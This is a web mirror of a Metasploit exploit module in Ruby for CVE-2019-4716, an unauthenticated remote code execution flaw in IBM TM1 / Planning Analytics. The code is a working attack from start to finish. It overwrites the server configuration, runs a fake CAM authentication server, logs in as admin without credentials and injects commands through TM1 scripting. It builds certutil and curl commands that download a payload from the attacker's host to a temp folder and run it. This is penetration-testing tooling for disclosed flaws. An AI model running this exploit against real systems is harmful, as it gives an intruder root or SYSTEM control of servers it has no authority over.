CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'openssl'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Remote::HttpServer
13
include Msf::Exploit::EXE
14
include Msf::Exploit::FileDropper
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution',
21
'Description' => %q{
22
This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows
23
an unauthenticated attacker to perform a configuration overwrite.
24
It starts by querying the Admin server for the available applications, picks one,
25
and then exploits it. You can also provide an application name to bypass this step,
26
and exploit the application directly.
27
The configuration overwrite is used to change an application server authentication
28
method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.
29
The exploit then performs a fake authentication as admin, and finally abuses TM1
30
scripting to perform a command injection as root or SYSTEM.
31
Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.
32
Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions
33
earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Pedro Ribeiro <[email protected]>',
38
# Vulnerability discovery and Metasploit module
39
'Gareth Batchelor <[email protected]>'
40
# Real world exploit testing and feedback
41
],
42
'References' => [
43
[ 'CVE', '2019-4716' ],
44
[ 'URL', 'https://www.ibm.com/support/pages/node/1127781' ],
45
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_tm1_rce.md' ],
46
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Mar/44' ]
47
],
48
'Targets' => [
49
[
50
'Windows',
51
{
52
'Platform' => 'win',
53
'Arch' => [ARCH_X86, ARCH_X64]
54
}
55
],
56
[
57
'Windows (Command)',
58
{
59
'Platform' => 'win',
60
'Arch' => [ARCH_CMD],
61
'Payload' =>
62
{
63
# Plenty of bad chars in Windows... there might be more lurking
64
'BadChars' => "\x25\x26\x27\x3c\x3e\x7c"
65
}
66
}
67
],
68
[
69
'Linux',
70
{
71
'Platform' => 'linux',
72
'Arch' => [ARCH_X86, ARCH_X64]
73
}
74
],
75
[
76
'Linux (Command)',
77
{
78
'Platform' => 'unix',
79
'Arch' => [ARCH_CMD],
80
'Payload' =>
81
{
82
# only one bad char in Linux, baby! (that we know of...)
83
'BadChars' => "\x27"
84
}
85
}
86
],
87
[
88
'AIX (Command)',
89
{
90
# This should work on AIX, but it was not tested!
91
'Platform' => 'unix',
92
'Arch' => [ARCH_CMD],
93
'Payload' =>
94
{
95
# untested, but assumed to be similar to Linux
96
'BadChars' => "\x27"
97
}
98
}
99
],
100
],
101
'Stance' => Msf::Exploit::Stance::Aggressive,
102
# we need this to run in the foreground
103
'DefaultOptions' => {
104
# give the target lots of time to download the payload
105
'WfsDelay' => 30
106
},
107
'Privileged' => true,
108
'DisclosureDate' => '2019-12-19',
109
'DefaultTarget' => 0,
110
'Notes' => {
111
'Stability' => [ CRASH_SAFE ],
112
'Reliability' => [ REPEATABLE_SESSION ],
113
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
114
}
115
)
116
)
117
register_options(
118
[
119
Opt::RPORT(5498),
120
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
121
]
122
)
123
register_advanced_options [
124
OptString.new('APP_NAME', [false, 'Name of the target application']),
125
OptInt.new('AUTH_ATTEMPTS', [true, 'Number of attempts to auth to CAM server', 10]),
126
]
127
end
128
129
## Packet structure start
130
# these are client message types
131
MSG_TYPES = {
132
auth: [ 0x0, 0x1 ],
133
auth_uniq: [ 0x0, 0x3 ],
134
auth_1001: [ 0x0, 0x4 ],
135
auth_cam_pass: [ 0x0, 0x8 ],
136
auth_dist: [ 0x0, 0xa ],
137
obj_register: [ 0, 0x21 ],
138
obj_prop_set: [ 0, 0x25 ],
139
proc_create: [ 0x0, 0x9c ],
140
proc_exec: [ 0x0, 0xc4 ],
141
get_config: [ 0x1, 0x35 ],
142
upd_clt_pass: [ 0x1, 0xe2 ],
143
upd_central: [ 0x1, 0xae ]
144
}.freeze
145
146
# packet header is universal for both client and server
147
PKT_HDR = [ 0, 0, 0xff, 0xff ].freeze
148
149
# pkt end marker (client only, server responses do not have it)
150
PKT_END = [ 0xff, 0xff ].freeze
151
152
# empty auth object, used for operations that do not require auth
153
AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].freeze
154
155
# This is actually the client version number
156
# 0x6949200 = 110400000 in decimal, or version 11.4
157
# The lowest that version 11.4 seems to accept is 8.4, so leave that as the default
158
# 8.4 = 0x4CACE80
159
# 9.1 = 0x55ED120
160
# 9.4 = 0x5636500
161
# 10.1 = 0x5F767A0
162
# 10.4 = 0x5FBFB80
163
# 11.1 = 0x68FFE20
164
# 11.4 = 0x6949200
165
#
166
# If something doesn't work, try using one of the values above, but bear in mind this module
167
# was tested on 10.2.2 and 11.4,
168
VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ].freeze
169
## Packet structure end
170
171
## Network primitives start
172
# unpack a string (hex string to array of bytes)
173
def str_unpack(str)
174
arr = []
175
str.scan(/../).each do |b|
176
arr += [b].pack('H*').unpack('C*')
177
end
178
arr
179
end
180
181
# write strings directly to socket; each 2 string chars are a byte
182
def sock_rw_str(sock, msg_str)
183
sock_rw(sock, str_unpack(msg_str))
184
end
185
186
# write array to socket and get result
187
# wait should also be implemented in msf
188
def sock_rw(sock, msg, ignore: false, wait: 0)
189
sock.write(msg.pack('C*'))
190
if !ignore
191
sleep(wait)
192
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
193
bytes = sock.read(recv_sz - 2).unpack('H*')[0]
194
bytes
195
end
196
end
197
198
def sock_r(sock)
199
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
200
bytes = sock.read(recv_sz - 2).unpack('H*')[0]
201
bytes
202
end
203
204
def get_socket(app_host, app_port, ssl = 0)
205
begin
206
ctx = { 'Msf' => framework, 'MsfExploit' => self }
207
sock = Rex::Socket.create_tcp(
208
{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
209
)
210
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
211
sock.close if sock
212
end
213
if sock.nil?
214
fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
215
end
216
if ssl == 1
217
# also need to add support for old ciphers
218
ctx = OpenSSL::SSL::SSLContext.new
219
ctx.min_version = OpenSSL::SSL::SSL3_VERSION
220
ctx.security_level = 0
221
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
222
s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
223
s.sync_close = true
224
s.connect
225
return s
226
end
227
return sock
228
end
229
## Network primitives end
230
231
## Packet primitives start
232
def pack_sz(sz)
233
[sz].pack('n*').unpack('C*')
234
end
235
236
# build a packet, ready to send
237
def pkt_build(msg_type, auth_obj, contents)
238
pkt = PKT_HDR + msg_type + auth_obj + contents + PKT_END
239
pack_sz(pkt.length + 2) + pkt
240
end
241
242
# extracts the first object from a server response
243
def obj_extract(res)
244
arr = str_unpack(res)
245
246
# ignore packet header (4 bytes)
247
arr.shift(PKT_HDR.length)
248
if arr[0] == 5
249
# this is an object, get the type (1 byte) plus the object bytes (9 bytes)
250
obj = arr[0..9]
251
obj
252
end
253
end
254
255
# adds a string to a packet
256
# C string = 0x2; utf string = 0xe; binary = 0xf
257
def stradd(str, type = 0xe)
258
arr = [ type ] # string type
259
arr += pack_sz(str.length)
260
arr += str.unpack('C*')
261
arr
262
end
263
264
# packs binary data into an array
265
def datapack(data)
266
arr = []
267
data.chars.each do |d|
268
arr << d.ord
269
end
270
arr
271
end
272
273
def binadd(data)
274
arr = [ 0xf ] # binary type 0xf
275
arr += pack_sz(data.length) # 2 byte size
276
arr += datapack(data) # ... and add the data
277
arr
278
end
279
280
def get_str(data)
281
s = ''
282
data.shift while data[0] != '"'.ord
283
data.shift
284
while data[0] != '"'.ord
285
s += data[0].chr
286
data.shift
287
end
288
# comma
289
data.shift
290
s
291
end
292
293
# This fetches the current IntegratedSecurityMode from a packet such as
294
# 0000ffff070000000203000000 01 07000000020e00000e0000 (1)
295
# 0000ffff070000000203000000 02 07000000020e00000e00084b65726265726f73 (2)
296
# 0000ffff070000000203000000 06 07000000010e0000 (6)
297
def get_auth(data)
298
# make it into an array
299
data = str_unpack(data)
300
if data.length > 13
301
# skip 13 bytes (header + array indicator + index indicator)
302
data.shift(13)
303
# fetch the auth method byte
304
data[0]
305
end
306
end
307
308
def update_auth(auth_method, restore: false)
309
# first byte of data is ignored, so add an extra space
310
if restore
311
srv_config = " IntegratedSecurityMode=#{auth_method}"
312
else
313
# To enable CAM server authentication over SSL, the CAM server certificate has to be previously
314
# imported into the server. Since we can't do this, disable SSL in the fake CAM.
315
srv_config = " IntegratedSecurityMode=#{auth_method}\n" \
316
"ServerCAMURI=http://#{srvhost}:#{srvport}\n" \
317
"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" \
318
"CAMUseSSL=F\n"
319
end
320
321
arr =
322
[ 3 ] + [ 0, 0, 0, 2 ] + # no idea what this index is
323
[ 3 ] + [ 0, 0, 0, 2 ] + # same here
324
[ 3 ] + [ 0 ] * 4 + # same here
325
stradd(rand_text_alpha(5..12)) + # same here...
326
stradd('tm1s_delta.cfg') + # update file name
327
binadd(srv_config) + # file data
328
stradd(rand_text_alpha(0xf)) # last sync timestamp, max len 0xf
329
330
upd_auth = pkt_build(
331
MSG_TYPES[:upd_central],
332
AUTH_OBJ_EMPTY,
333
[ 7 ] + # array type
334
[ 0, 0, 0, 7 ] + # array len (fixed size of 7 for this pkt)
335
arr
336
)
337
338
upd_auth
339
end
340
## Packet primitives end
341
342
## CAM HTTP functions start
343
def on_request_uri(cli, request)
344
xml_res = %(<?xml version="1.0" encoding="UTF-8"?>
345
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://developer.cognos.com/schemas/dataSourceCommandBlock/1/" xmlns:bus="http://developer.cognos.com/schemas/bibus/3/" xmlns:cm="http://developer.cognos.com/schemas/contentManagerService/1" xmlns:ns10="http://developer.cognos.com/schemas/indexUpdateService/1" xmlns:ns11="http://developer.cognos.com/schemas/jobService/1" xmlns:ns12="http://developer.cognos.com/schemas/metadataService/1" xmlns:ns13="http://developer.cognos.com/schemas/mobileService/1" xmlns:ns14="http://developer.cognos.com/schemas/monitorService/1" xmlns:ns15="http://developer.cognos.com/schemas/planningAdministrationConsoleService/1" xmlns:ns16="http://developer.cognos.com/schemas/planningRuntimeService/1" xmlns:ns17="http://developer.cognos.com/schemas/planningTaskService/1" xmlns:ns18="http://developer.cognos.com/schemas/reportService/1" xmlns:ns19="http://developer.cognos.com/schemas/systemService/1" xmlns:ns2="http://developer.cognos.com/schemas/agentService/1" xmlns:ns3="http://developer.cognos.com/schemas/batchReportService/1" xmlns:ns4="http://developer.cognos.com/schemas/dataIntegrationService/1" xmlns:ns5="http://developer.cognos.com/schemas/dataMovementService/1" xmlns:ns6="http://developer.cognos.com/schemas/deliveryService/1" xmlns:ns7="http://developer.cognos.com/schemas/dispatcher/1" xmlns:ns8="http://developer.cognos.com/schemas/eventManagementService/1" xmlns:ns9="http://developer.cognos.com/schemas/indexSearchService/1">
346
<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
347
<cm:queryResponse>
348
<result baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">
349
PLACEHOLDER
350
</result>
351
</cm:queryResponse>
352
</SOAP-ENV:Body>
353
</SOAP-ENV:Envelope>)
354
355
session =
356
%( <item xsi:type="bus:session">
357
<identity>
358
<value baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">
359
<item xsi:type="bus:account">
360
<searchPath><value>admin</value></searchPath>
361
</item>
362
</value>
363
</identity>
364
</item>)
365
366
account =
367
%( <item xsi:type="bus:account">
368
<defaultName><value>admin</value></defaultName>
369
</item>)
370
371
headers = { 'SOAPAction' => '"http://developer.cognos.com/schemas/contentManagerService/1"' }
372
if request.body.include? '<searchPath>/</searchPath>'
373
print_good('CAM: Received first CAM query, responding with account info')
374
response = xml_res.sub('PLACEHOLDER', account)
375
elsif request.body.include? '<searchPath>~~</searchPath>'
376
print_good('CAM: Received second CAM query, responding with session info')
377
response = xml_res.sub('PLACEHOLDER', session)
378
elsif request.body.include? '<searchPath>admin</searchPath>'
379
print_good('CAM: Received third CAM query, responding with random garbage')
380
response = rand_text_alpha(5..12)
381
elsif request.method == 'GET'
382
print_good('CAM: Received request for payload executable, shell incoming!')
383
response = @pl
384
headers = { 'Content-Type' => 'application/octet-stream' }
385
else
386
response = ''
387
print_error('CAM: received unknown request')
388
end
389
send_response(cli, response, headers)
390
end
391
## CAM HTTP functions end
392
393
def restore_auth(app, auth_current)
394
print_status("Restoring original authentication method #{auth_current}")
395
upd_cent = update_auth(auth_current, restore: true)
396
s = get_socket(app[2], app[3], app[5])
397
sock_rw(s, upd_cent, ignore: true)
398
s.close
399
end
400
401
def exploit
402
# first let's check if SRVHOST is valid
403
if datastore['SRVHOST'] == '0.0.0.0'
404
fail_with(Failure::Unknown, 'Please enter a valid IP address for SRVHOST')
405
end
406
407
# The first step is to query the administrative server to see what apps are available.
408
# This action can be done unauthenticated. We then list all the available app servers
409
# and pick a random one that is currently accepting clients. This step is important
410
# not only to know what app servers are available, but also to know if we need to use
411
# SSL or not.
412
# The admin server is usually at 5498 using SSL. Non-SSL access is disabled by default, but when enabled, it's available at port 5495
413
#
414
# Step 1: fetch the available applications / servers from the Admin server
415
# ... if the user did not enter an APP_NAME
416
if datastore['APP_NAME'].nil?
417
connect
418
print_status('Connecting to admin server and obtaining application data')
419
420
# for this packet we use string type 0xc (?) and cut off the PKT_END
421
pkt_control = PKT_HDR + [0] + stradd(lhost, 0xc)
422
pkt_control = pack_sz(pkt_control.length + 2) + pkt_control
423
data = sock_rw(sock, pkt_control)
424
disconnect
425
426
if data
427
# now process the response
428
apps = []
429
430
data = str_unpack(data)
431
432
# ignore packet header (4 bytes)
433
data.shift(PKT_HDR.length)
434
435
# now just go through the list we received, sample format below
436
# "24retail","tcp","10.11.12.123","17414","1460","1","127.0.0.1,127.0.0.1,127.0.0.1","1","0","","","","0","","0","","ipv4","22","0","2","http://centos7.doms.com:8014","8014"
437
# "GO_New_Stores","tcp","10.11.12.123","45557","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","23","0","2","https://centos7.doms.com:5010","5010"
438
# "GO_Scorecards","tcp","10.11.12.123","44321","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:44312","44312"
439
# "Planning Sample","tcp","10.11.12.123","12345","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:12354","12354"
440
# "proven_techniques","tcp","10.11.12.123","53333","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:5011","5011"
441
# "SData","tcp","10.11.12.123","12346","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:8010","8010"
442
while !data.nil? && (data.length > 2)
443
# skip the marker (0x0, 0x5) that indicates the start of a new app
444
data = data[2..]
445
446
# read the size and fetch the data
447
size = data[0..1].pack('C*').unpack('H*')[0].to_i(16)
448
data_next = data[2 + size..]
449
data = data[2..size]
450
451
# first is application name
452
app_name = get_str(data)
453
454
# second is protocol, we don't care
455
proto = get_str(data)
456
457
# third is IP address
458
ip = get_str(data)
459
460
# app port
461
port = get_str(data)
462
463
# mtt maybe? don't care
464
_mtt = get_str(data)
465
466
# not sure, and don't care
467
_unknown = get_str(data)
468
469
# localhost addresses? again don't care
470
_unknown_addr = get_str(data)
471
472
# I think this is the accepting clients flag
473
accepts = get_str(data)
474
475
# and this is a key one, the SSL flag
476
ssl = get_str(data)
477
478
# the leftover data is related to the REST API *I think*, so we just ignore it
479
480
print_good("Found app #{app_name} #{proto} ip: #{ip} port: #{port} available: #{accepts} SSL: #{ssl}")
481
apps.append([app_name, proto, ip, port.to_i, accepts.to_i, ssl.to_i])
482
483
data = data_next
484
end
485
else
486
fail_with(Failure::Unknown, 'Failed to obtain application data from the admin server')
487
end
488
489
# now pick a random application server that is accepting clients via TCP
490
app = apps.sample
491
total = apps.length
492
count = 0
493
494
# TODO: check for null return here, and probably also response size > 0x20
495
while (app[1] != 'tcp') && (app[4] != 1) && (count < total)
496
app = apps.sample
497
count += 1
498
end
499
500
if count == total
501
fail_with(Failure::Unknown, 'Failed to find an application we can attack')
502
end
503
print_status("Picked #{app[0]} as our target, connecting...")
504
505
else
506
# else if the user entered an APP_NAME, build the app struct with that info
507
ssl = datastore['SSL']
508
app = [datastore['APP_NAME'], 'tcp', rhost, rport, 1, (ssl ? 1 : 0)]
509
print_status("Attacking #{app[0]} on #{peer} as requested with TLS #{ssl ? 'on' : 'off'}")
510
end
511
512
s = get_socket(app[2], app[3], app[5])
513
514
# Step 2: get the current app server configuration variables, such as the current auth method used
515
get_conf = stradd(app[0])
516
get_conf += VERSION
517
auth_get = pkt_build(MSG_TYPES[:get_config], AUTH_OBJ_EMPTY, get_conf)
518
data = sock_rw(s, auth_get)
519
auth_current = get_auth(data)
520
521
print_good("Current auth method is #{auth_current}, we're good to go!")
522
s.close
523
524
# Step 3: start the fake CAM server / exploit server
525
if payload.arch.include? ARCH_CMD
526
@pl = ''
527
else
528
@pl = generate_payload_exe
529
end
530
531
print_status('Starting up the fake CAM server...')
532
start_service(
533
{
534
'Uri' => {
535
'Proc' => proc do |cli, req|
536
on_request_uri(cli, req)
537
end,
538
'Path' => '/'
539
},
540
'ssl' => false # do not use SSL
541
}
542
)
543
544
# Step 4: send the server config update packet, and ignore what it sends back
545
print_status('Changing authentication method to 4 (CAM auth)')
546
upd_cent = update_auth(4)
547
s = get_socket(app[2], app[3], app[5])
548
sock_rw(s, upd_cent, ignore: true)
549
s.close
550
551
# Step 5: send the CAM auth request and obtain the authentication object
552
# app name
553
auth_pkt = stradd(app[0])
554
555
auth_pkt += [ 0x7, 0, 0, 0, 3 ] # array with 3 objects
556
557
# passport, can be random
558
auth_pkt += stradd(rand_text_alpha(5..12))
559
560
# no idea what these vars are, but they don't seem to matter
561
auth_pkt += stradd(rand_text_alpha(5..12))
562
auth_pkt += stradd(rand_text_alpha(5..12))
563
564
# client IP
565
auth_pkt += stradd(lhost)
566
567
# add the client version number
568
auth_pkt += VERSION
569
570
auth_dist = pkt_build(MSG_TYPES[:auth_cam_pass], AUTH_OBJ_EMPTY, auth_pkt)
571
572
print_status('Authenticating using CAM Passport and our fake CAM Service...')
573
s = get_socket(app[2], app[3], app[5])
574
575
# try to authenticate up to AUTH_ATTEMPT times, but usually it works the first try
576
# adjust the 4th parameter to sock_rw to increase the timeout if it's not working and / or the CAM server is on another network
577
counter = 1
578
res_auth = ''
579
while (counter < datastore['AUTH_ATTEMPTS'])
580
# send the authenticate request, but wait a bit so that our fake CAM server can respond
581
res_auth = sock_rw(s, auth_dist, ignore: false, wait: 0.5)
582
if res_auth.length < 20
583
print_error("Failed to authenticate on attempt number #{counter}, trying again...")
584
counter += 1
585
next
586
else
587
break
588
end
589
end
590
if counter == datastore['AUTH_ATTEMPTS']
591
# if we can't auth, bail out, but first restore the old auth method
592
s.close
593
# restore_auth(app, auth_current)
594
fail_with(Failure::Unknown, 'Failed to authenticate to the Application server. Run the exploit and try again!')
595
end
596
597
auth_obj = obj_extract(res_auth)
598
599
# Step 6: create a Process object
600
print_status('Creating our Process object...')
601
proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:proc_create], auth_obj, [])))
602
603
if payload.arch == ['cmd']
604
cmd_one = payload.encoded
605
cmd_two = ''
606
else
607
payload_url = "http://#{srvhost}:#{srvport}/"
608
exe_name = rand_text_alpha(5..13)
609
if target['Platform'] == 'win'
610
# the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line
611
exe_name += '.exe'
612
exe_name = "C:\\Windows\\Temp\\#{exe_name}"
613
cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}"
614
cmd_two = exe_name
615
else
616
# the Linux one can actually be done in one line, but let's make them similar
617
exe_name = "/tmp/#{exe_name}"
618
cmd_one = "curl #{payload_url} -o #{exe_name};"
619
cmd_two = "chmod +x #{exe_name}; exec #{exe_name}"
620
end
621
622
register_file_for_cleanup(exe_name)
623
end
624
625
proc_cmd =
626
[ 0x3, 0, 0, 2, 0x3c ] + # no idea what this index is
627
[ 0x7, 0, 0, 0, 2 ] + # array with 2 objects (2 line script)
628
# the first argument is the command
629
# the second whether it should wait (1) or not (0) for command completion before returning
630
stradd("executecommand('#{cmd_one}', #{cmd_two.empty? ? '0' : '1'});") +
631
stradd("executecommand('#{cmd_two}', 0);")
632
633
# Step 7: add the commands into the process object
634
print_status("Adding command: \"#{cmd_one}\" to the Process object...")
635
if cmd_two != ''
636
print_status("Adding command: \"#{cmd_two}\" to the Process object...")
637
end
638
sock_rw(s, pkt_build(MSG_TYPES[:obj_prop_set], [], proc_obj + proc_cmd))
639
640
# Step 8: register the Process object with a random name
641
obj_name = rand_text_alpha(5..12)
642
print_status("Registering the Process object under the name '#{obj_name}'")
643
proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:obj_register], auth_obj, proc_obj + stradd(obj_name))))
644
645
# Step 9: execute the Process!
646
print_status("Now let's execute the Process object!")
647
sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), ignore: true)
648
s.close
649
650
# Step 10: restore the auth method and enjoy the shell!
651
restore_auth(app, auth_current)
652
653
if payload.arch.include? ARCH_CMD
654
print_good('Your command should have executed by now, enjoy!')
655
end
656
end
657
end
658
659